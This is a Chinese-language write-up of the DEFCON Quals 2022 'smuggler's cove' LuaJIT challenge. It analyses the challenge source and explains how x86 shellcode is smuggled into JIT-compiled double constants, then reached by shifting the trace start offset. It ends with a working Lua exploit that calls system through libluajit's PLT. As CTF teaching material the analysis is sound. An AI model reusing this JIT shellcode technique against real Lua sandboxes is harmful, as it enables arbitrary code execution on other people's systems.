[DEFCON Quals 2022] smuggler's cove - A LuaJIT Challenge

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      • set_jit_settings
      • print
      • debug_jit
    • dig_up_the_loot.c
• 0x01 利用思路
• 0x02 Exploit编写

0x00 题目

速览

是一个打LuaJIT的题，远程环境带有一个web前端，主要作用应该就是给定指定的Lua代码，然后后端运行并返回输出结果：

题目给出了个使用样例，其中比较引人关注的就是cargo函数，但是具体机制还得先看后端源码

源码分析

cove.c

这是题目的核心逻辑

---

main

首先在main函数中创造了一个Lua State的上下文，并使用init_lua初始化上下文，然后调用run_code(L, argv[1]);运行命令行参数中执行的Lua代码，运行结束后使用lua_close(L);关闭Lua State。

代码语言：javascript复制

int main(int argc, char** argv) {
    setvbuf(stdout, NULL, _IONBF, 0);

    lua_State *L;

    if (argc < 2) {
        puts("Missing lua cargo to inspect");
        return -1;
    }

    L = luaL_newstate(); // 创建新的Lua State上下文
    if (!L) {
        puts("Failed to load lua");
        return -1;
    }
    init_lua(L); // 初始化上下文
    run_code(L, argv[1]); // 运行传入的Lua代码

    lua_close(L); // 关闭上下文
}

init_lua

1. 通过luaopen_jit打开LUA_JITLIBNAME指定的LuaJIT运行库
2. 调用set_jit_settings完成一些JIT相关的设置
3. 设置完成后，将jit全局变量赋空值，这样在后续运行的Lua代码中就无法使用jit包
4. 分别将cargo和print两个变量绑定到debug_jit和print两个函数上，这两个函数的实现同样位于cove.c中。也就是说题目样例的cargo()函数最后会被debug_jit()来处理

代码语言：javascript复制

void init_lua(lua_State* L) {
    // Init JIT lib
    lua_pushcfunction(L, luaopen_jit); // 传入luaopen_jit，即将被调用的函数
    lua_pushstring(L, LUA_JITLIBNAME); // 传入LUA_JITLIBNAME参数给luaopen_jit
    lua_call(L, 1, 0); /* 通过传入LUA_JITLIBNAME给luaopen_jit函数完成jit加载 */
    set_jit_settings(L); // 完成jit设置

    lua_pushnil(L); // 压入空值
    lua_setglobal(L, "jit"); // 将栈顶元素（空值）赋值给name变量
    lua_pop(L, 1); // 弹出

    lua_pushcfunction(L, debug_jit);
    lua_setglobal(L, "cargo"); //  cargo = debug_jit
    lua_pushcfunction(L, print);
    lua_setglobal(L, "print"); // print = print
}

set_jit_settings

这个函数通过luaL_dostring执行了两行Lua语句，主要功能是设置优化级别为O3，并设置hotloop为1。这两个选项对JIT生成native code的逻辑有不小影响：

• O3会导致有些常量或者重复逻辑被优化掉，难以控制预期的native code
• hotloop=1则指定当某个分支运行次数大于1次时便为其生成native code，这原本是为了减少对一些冷门分支生成native code所用的开销。可以发现样例代码在调用cargo前还故意调用了两次自定义函数my_ship

代码语言：javascript复制

void set_jit_settings(lua_State* L) {
    // 3 相当于 O3
    // Number of iterations to detect a hot loop or hot call
    luaL_dostring(L,
        "jit.opt.start('3');"
        "jit.opt.start('hotloop=1');"
    );
}

---

print和debug_jit这两个函数都是C Closure类型的函数，意味着这个函数可以在Lua层面上被使用。

主要关注这两个函数的参数：lua_State* L，这是使得C函数能在Lua层面被调用的关键。Lua层面传入的参数并不是使用C调用栈的传参约定，而是压入Lua状态机中的一个“虚拟栈”，用户通过lua_gettop(L)等API来获取并转义指定位置参数。

print

该函数把print的首个参数转成字符串后输出

代码语言：javascript复制

    if (lua_gettop(L) < 1) {
        return luaL_error(L, "expecting at least 1 arguments");
    }
    const char* s = lua_tostring(L, 1);
    puts(s);
    return 0;

debug_jit

这是核心利用点所在的函数，在一开始需要先完成一些检查：

1. 参数必须为两个
2. 第一个参数的类型必须是LUA_TFUNCTION
3. 第一个参数需要通过isluafunc()的检查
4. 第二个参数会被当成一个uint8的offset

手动解引用取得参数1传入的Lua函数的字节码指针：uint8_t* bytecode = mref(v->l.pc, void)，注意这个字节码是Lua虚拟机的字节码，不是native的。

因为Lua对已经JIT的部分是用一条一条Trace来记录的，所以要进一步通过getTrace取得GCtrace类型的t。t->szmcode表示JIT部分machine code的大小，t->mcode表示machine code的起始位置。

首先输出一次当前t->mcode指针的值，也就是初始情况下，参数1的函数JIT出的机器码的起始位置。然后判断参数2的offset如果不等于0且小于t->szmcode - 1，则将t->mcode加上offset的大小。这就给了一次在JIT出的machine code范围内任意修改函数起始位置的机会。也就是说，在cargo结束后，如果再调用一次my_ship函数，将从新的起始位置开始运行。

代码语言：javascript复制

int debug_jit(lua_State* L) {
    if (lua_gettop(L) != 2) { // 检查栈顶，判断是否传入了足够参数
        return luaL_error(L, "expecting exactly 1 arguments");
    }
    luaL_checktype(L, 1, LUA_TFUNCTION); // 判断第一个参数的type是不是一个LUA_TFUNCTION

    const GCfunc* v = lua_topointer(L, 1); // 把传入的函数转成GCfunc类型的C指针
    if (!isluafunc(v)) { // 用isluafunc检查是不是一个lua函数
        return luaL_error(L, "expecting lua function");
    }

    uint8_t offset = lua_tointeger(L, 2); // 把第二个参数转成一个整数的offset
    uint8_t* bytecode = mref(v->l.pc, void); 

    uint8_t op = bytecode[0];
    uint8_t index = bytecode[2];

    GCtrace* t = getTrace(L, index);

    if (!t || !t->mcode || !t->szmcode) {
        return luaL_error(L, "Blimey! There is no cargo in this ship!");
    }

    printf("INSPECTION: This ship's JIT cargo was found to be %pn", t->mcode); // 输出机器码位置

    if (offset != 0) {
        if (offset >= t->szmcode - 1) {
            return luaL_error(L, "Avast! Offset too large!");
        }

        t->mcode  = offset;
        t->szmcode -= offset;

        printf("... yarr let ye apply a secret offset, cargo is now %p ...n", t->mcode);
    }

    return 0;
}

补上一些宏定义和数据结构：

代码语言：javascript复制

    // #define mref(r, t)    ((t *)(void *)(uintptr_t)(r).ptr32
    /* 
    typedef union GCfunc {
        GCfuncC c;
        GCfuncL l;
    } GCfunc;
    */
    /*
    typedef struct GCfuncL {
        GCfuncHeader;
        GCRef uvptr[1];    // Array of _pointers_ to upvalue objects (GCupval).
    } GCfuncL;
    */
    /* 
    #define GCfuncHeader 
    GCHeader; uint8_t ffid; uint8_t nupvalues; 
    GCRef env; GCRef gclist; MRef pc
    */
    /* 
    // Memory reference
    typedef struct MRef {
    #if LJ_GC64
    uint64_t ptr64;    // True 64 bit pointer.
    #else
    uint32_t ptr32;    // Pseudo 32 bit pointer.
    #endif
    } MRef;

dig_up_the_loot.c

这个程序其实就相当于一个getflag程序，但是需要判断argv参数为指定字符串才能输出FLAG：

代码语言：javascript复制

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char* args[] = { "x", "marks", "the", "spot" };

int main(int argc, char** argv) {
    const size_t num_args = sizeof(args)/sizeof(char*);
    if (argc != num_args   1) {
        printf("Avast ye missing arguments: ./dig_up_the_loot");
        for (size_t i=0; i<num_args; i  )
            printf(" %s", args[i]);
        puts("");
        exit(0);
    }
    for (size_t i=0; i<num_args; i  ) {
        if (strcmp(argv[i 1], args[i])) {
            puts("Blimey! Are missing your map?");
            exit(0);
        }
    }
    puts("Shiver me timbers! Thar be your flag: FLAG PLACEHOLDER");
}

从逻辑来看，需要执行的命令行为./dig_up_the_loot x marks the spot，还是比较长的...

0x01 利用思路

利用思路其实还是比较明确的，虽然一开始走了些弯路想着去构造Type confusion，但是最终还是回到了正轨

由于x86指令存在常数部分，而常数部分通常可控，攻击者可以把恶意shellcode注入到常数部分，然后通过修改起始位置从某条指令的常数部分开始执行，再通过多条shellcode的JOP拼接，达到任意代码执行的目的。

然而这题麻烦就麻烦在：哪些Lua层面的语句可以很方便控制到x86 machine code的常数部分。毕竟从Lua语句到machine code经过了3次转义，没错是三次——Lua语句->Lua虚拟机字节码->中间码->机器码

一般而言肯定最先想到下面几种方法：

1. 构造变量赋值语句，将整数常量赋值给某个局部变量
2. 构造运算表达式
3. 使用常量传参来调用函数
4. 使用某些含有常量的语句结构

对于方法1，可能因为开了O3优化的原因，常量部分并没有体现在局部JIT出来的machine code中；

对于方法2，这些运算似乎会被预先JIT并封装在某个地方，即使出现了需要的常量也无法通过修改offset跳转过去；

对于方法3，由于Lua对变量会有一层包装，不会使用裸的值，所以在machine code也看不到；

最后就是方法4，确实有一些队友发现了端倪。首先是有队友发现了for循环语句结构可以引入稳定的，但是离散的7个字节的常量，如：81 c5 XX XX XX 00 81 fd XX XX XX XX中的XX。

代码语言：javascript复制

function test()
    for i = 0, 0x7effff00,0xffff00 do
    end
    for i = 1, 0x7effff11,0xffff11 do
    end
end

这看着似乎也够用了，但是尝试修改offset跳转才发现，for循环由于某些原因，所产生的machine code距离起始位置比较远，offset跳不过去——我猜测是因为被放在了另外一条Trace中，但是管不了这么多了。接下来有队友发现了，table的常量下标寻址会产生可控的常量，但是只有4字节可控？这是个好方向，但是为啥只有4字节可控呢。于是我试了下直接写8个字节的整数，似乎就无法在machine code中找到了。

然后我突发奇想，一连写了很多条对table的8字节整数下标赋值的语句，再观察machine code，发现居然有很多重复的结构！并且这部分结构都通过movabs操作了一个很大的8字节常量，但是常量的值并不是下标的值。会不会是编码了？联想到Lua中存在浮点数类型，于是猜测，这会不会是IEEE的浮点数编码？使用python的struct包unpack了一下，果然，正是浮点数编码！

于是我通过struct.unpack("<d", b"x90x90x90x90x90x90xebx5e")直接去构造double类型浮点数，然后使用浮点数常量作为下标寻址（Lua的寻址不是偏移寻址，所以是可以用浮点数的），发现如预期的出现了多条8字节的可控movabs，通过调整偏移，并在每8字节shellcode的后两个字节拼接上相对jmp指令就得到了如下JOP shellcode形式：

0x02 Exploit编写

那么问题来了，获得任意shellcode执行之后怎么拿flag呢？上面分析过了，预期的拿flag方式是执行./dig_up_the_loot x marks the spot命令。一开始我想的是使用execve("./dig_up_the_loot", ["x", "marks", "the", "spot"], NULL)来调用，这需要慢慢构造字符串数组指针。然而写了几行才发现，题目限制了Lua文件的大小，如果构造execve显然是不够用的。

由于在执行shellcode的时候，寄存器和栈上留下很多运行时地址信息，也许会有一些可以使用的gadget。比如可以试试看能不能找出libc的地址，然后调system，于是开始慢慢尝试。

才刚写到一半已经有队友通过修改我贴文档里的PoC打通了，非常神速。我大致看了一下他的EXP，思路还是比较巧妙地，虽然不是100%能打通。于是我按照他地思路完善了下我的exp。

首先从R14寄存器指向的内存区域找到libluajit.so的地址，因为libluajit.so的PLT表中有system函数这一项，并且相比于libc地址更容易获得。然后就是在libluajit.so地址空间附近，可以搜索到传入的Lua代码的字符串（被读入到内存中了）。这意味着可以在EXP的注释部分写上./dig_up_the_loot x marks the spot字符串，然后作为参数传给libluajit.so中的system。

于是整个利用思路就完成了：

1. 搜索到libluajit.so的地址，计算system的plt
2. 以libluajit.so的地址为base，搜索到./dig_up_the_loot x marks the spot字符串的地址
3. 调用system("./dig_up_the_loot x marks the spot")从标准输出读flag

EXP：

代码语言：javascript复制

-- ./dig_up_the_loot x marks the spot
a = {}
b = {}
c = {}
d = {}
e = {}
f = {}
g = {}
function m() 
    a[2.689065016493852e 144] = nil 
    b[1.7262021171178437e 149] = nil 
    c[2.6890656183788917e 144] = nil 
    d[2.6339756112512905e 144] = nil 
    e[2.689065020865355e 144] = nil 
    f[2.6339753393476617e 144] = nil 
    g[1.7623056512639384e 149] = nil 
end
m()
m()
cargo(m, 0x69)
m()

运行效果：

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